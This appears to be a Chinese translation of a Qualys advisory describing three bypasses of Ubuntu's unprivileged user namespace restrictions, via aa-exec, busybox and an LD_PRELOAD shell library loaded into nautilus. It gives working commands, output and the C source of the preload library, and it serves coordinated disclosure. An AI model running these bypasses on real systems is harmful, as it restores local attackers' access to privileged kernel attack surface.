Qualys Security Advisory Ubuntu 未授权用户命名空间限制的三种绕过方法

======================================================================== 目录

概要 通过 aa-exec 绕过 通过 busybox 绕过 通过 LD_PRELOAD 绕过 致谢 时间线 (咨询报告于 2025 年 1 月 15 日发送给 Ubuntu 安全团队)


序言,来自 https://grsecurity.net/10_years_of_linux_security.pdf


======================================================================== 概要

Ubuntu 23.10 引入了未授权用户命名空间限制 (sysctl kernel.apparmor_restrict_unprivileged_userns),Ubuntu 24.04 默认启用了它们。 来自 Alex Murray 在 https://ubuntu.com/blog/whats-new-in-security-for-ubuntu-24-04-lts 上的优秀博客文章: "未授权用户命名空间是 Linux 内核的广泛使用的功能,为应用程序提供额外的安全隔离,并且经常被用作沙盒环境的一部分。但是,[...] 未授权用户命名空间也暴露了 Linux 内核中的其他攻击面。长期以来,一直存在(滥用)未授权用户命名空间来利用各种内核漏洞的历史。 对于 Ubuntu 24.04 LTS,未授权用户命名空间的使用被允许用于所有应用程序,但访问命名空间内的任何其他权限被拒绝。这允许更多的应用程序更优雅地处理这种默认限制,同时仍然防止滥用用户命名空间来访问 Linux 内核中的其他攻击面。" 不幸的是,我们发现了这三个不同的未授权用户命名空间限制的绕过方法;每个绕过方法都允许本地攻击者创建具有完全管理员权限的用户命名空间,因此仍然可以利用内核组件中需要诸如 CAP_SYS_ADMINCAP_NET_ADMIN 之类的权限的漏洞:

======================================================================== 通过 aa-exec 绕过

我们都只是按照我们应该做的算法行事,还是我们可以逃脱我们的程序? -- Jude, The Matrix Resurrections 在开发 needrestart 时,特别是在提交 e17b564 ("core: fix regression of false positives for processes running in chroot or mountns (#317)") 中,我们试图试验用户和挂载命名空间,但令我们非常惊讶的是,我们被禁止在 Ubuntu 24.04 上以非特权用户身份创建它们(尽管 kernel.unprivileged_userns_clone 默认启用):

$ id
uid=1001(tiffany) gid=1001(tiffany) groups=1001(tiffany),100(users)
$ unshare -U -r -m /bin/sh
unshare: write failed /proc/self/uid_map: Operation not permitted

此错误消息对我们来说非常可疑,因此我们决定尝试使用 userns_child_exec 工具(来自 man user_namespaces),而不是预先安装的 unshare 工具:

$ ./userns_child_exec -U -z -m /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
# mount --bind /etc/passwd /etc/passwd
mount: /etc/passwd: bind /etc/passwd failed.
    dmesg(1) may have more information after failed mount system call.

这次我们能够创建一个用户和挂载命名空间,但令我们越来越惊讶的是,我们被禁止在此命名空间内部使用任何管理员权限(我们的挂载命令失败)。 困惑之下,我们最终发现这些限制是在 Ubuntu 23.10 中引入的,并且在 Ubuntu 24.04 中默认启用,以防止未经授权的本地攻击者利用需要权限(CAP_SYS_ADMINCAP_NET_ADMIN 等)的内核漏洞: https://discourse.ubuntu.com/t/spec-unprivileged-user-namespace-restrictions-via-apparmor-in-ubuntu-23-10 为了绕过这些限制,我们立即尝试通过 aa-exec 运行 unshare,以转换为 Ubuntu 的许多 AppArmor 配置文件之一,这些配置文件允许创建具有完全权限的用户命名空间;例如,trinity 配置文件:

$ grep userns /etc/apparmor.d/trinity
 userns,
$ aa-exec -p trinity -- unshare -U -r -m /bin/sh
# mount --bind /etc/passwd /etc/passwd
# mount
...
/dev/sda2 on /etc/passwd type ext4 (rw,relatime)

最后,我们能够创建一个具有完全权限的用户命名空间(我们的挂载命令成功)。 后来我们注意到,在 2023 年 10 月的 Ubuntu 优秀的安全播客中已经提到了针对此特定绕过的快速修复,但不幸的是,它从未默认启用;来自 https://ubuntusecuritypodcast.org/episode-211/: "从防御安全的角度来看,启用一个额外的 sysctl 也是有用的,以确保任何不受限制的东西都不能仅仅通过 aa-exec 通过该配置文件滥用这些配置文件 - 所以还需要启用 kernel.apparmor_restrict_unprivileged_unconfined = 1 这个 sysctl。"

======================================================================== 通过 busybox 绕过

我生活在一个计算机生成的现实中,它囚禁了我……又一次。 -- Thomas, The Matrix Resurrections 现在让我们假设我们通过 aa-exec 的绕过已修复(即启用了 kernel.apparmor_restrict_unprivileged_unconfined):我们能否找到另一种绕过 Ubuntu 的未授权用户命名空间限制的方法? 默认安装在 Ubuntu Server 和 Ubuntu Desktop 上的唯一程序是 busybox,并且其预配置的 AppArmor 配置文件允许创建具有完全权限的用户命名空间。 因此,我们只是尝试通过 busybox 的内置 shell 执行 unshare,瞧,我们再次能够创建一个具有完全权限的用户命名空间(我们的挂载命令成功):

$ grep userns /etc/apparmor.d/busybox
 userns,
$ busybox sh
~ $ /usr/bin/unshare -U -r -m /bin/sh
# mount --bind /etc/passwd /etc/passwd
# mount
...
/dev/sda2 on /etc/passwd type ext4 (rw,relatime)

======================================================================== 通过 LD_PRELOAD 绕过

你们要在我刚获得自由后囚禁我吗? -- Neo, The Matrix Resurrections 现在让我们假设我们通过 aa-execbusybox 的绕过都已修复:我们能否找到另一种绕过 Ubuntu 的未授权用户命名空间限制的方法? 除了 busybox,默认安装在 Ubuntu Desktop 上的唯一程序,并且其预配置的 AppArmor 配置文件允许创建具有完全权限的用户命名空间,是 nautilus。 虽然 nautilus 可能或可能不提供像 busybox 这样的 shell 功能,但我们实际上可以采取更通用的方法:我们可以简单地将一个小库通过 LD_PRELOAD 预加载到 nautilus 中,然后执行 shell。 而且,我们再次能够创建一个具有完全权限的用户命名空间(我们的挂载命令成功):

$ grep userns /etc/apparmor.d/nautilus
 userns,
$ cat > shell.c << "EOF"
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
  static char * const argv[] = { "/bin/sh", NULL };
  static char * const envp[] = { NULL };
  execve(*argv, argv, envp);
  _exit(__LINE__);
}
EOF
$ gcc -fpic -shared -o shell.so shell.c
$ LD_PRELOAD=./shell.so /usr/bin/nautilus
$ unshare -U -r -m /bin/sh
# mount --bind /etc/passwd /etc/passwd
# mount
...
/dev/sda2 on /etc/passwd type ext4 (rw,relatime)

======================================================================== 致谢

我们感谢 Ubuntu 安全团队在此协调发布中所做的工作。

======================================================================== 时间线

2025-01-15:我们向 Ubuntu 安全团队发送了我们的咨询报告。 2025-03-21:我们注意到 @roddux(在 X/Twitter 上)独立发现并发布了 busybox 绕过。 2025-03-27:协调发布。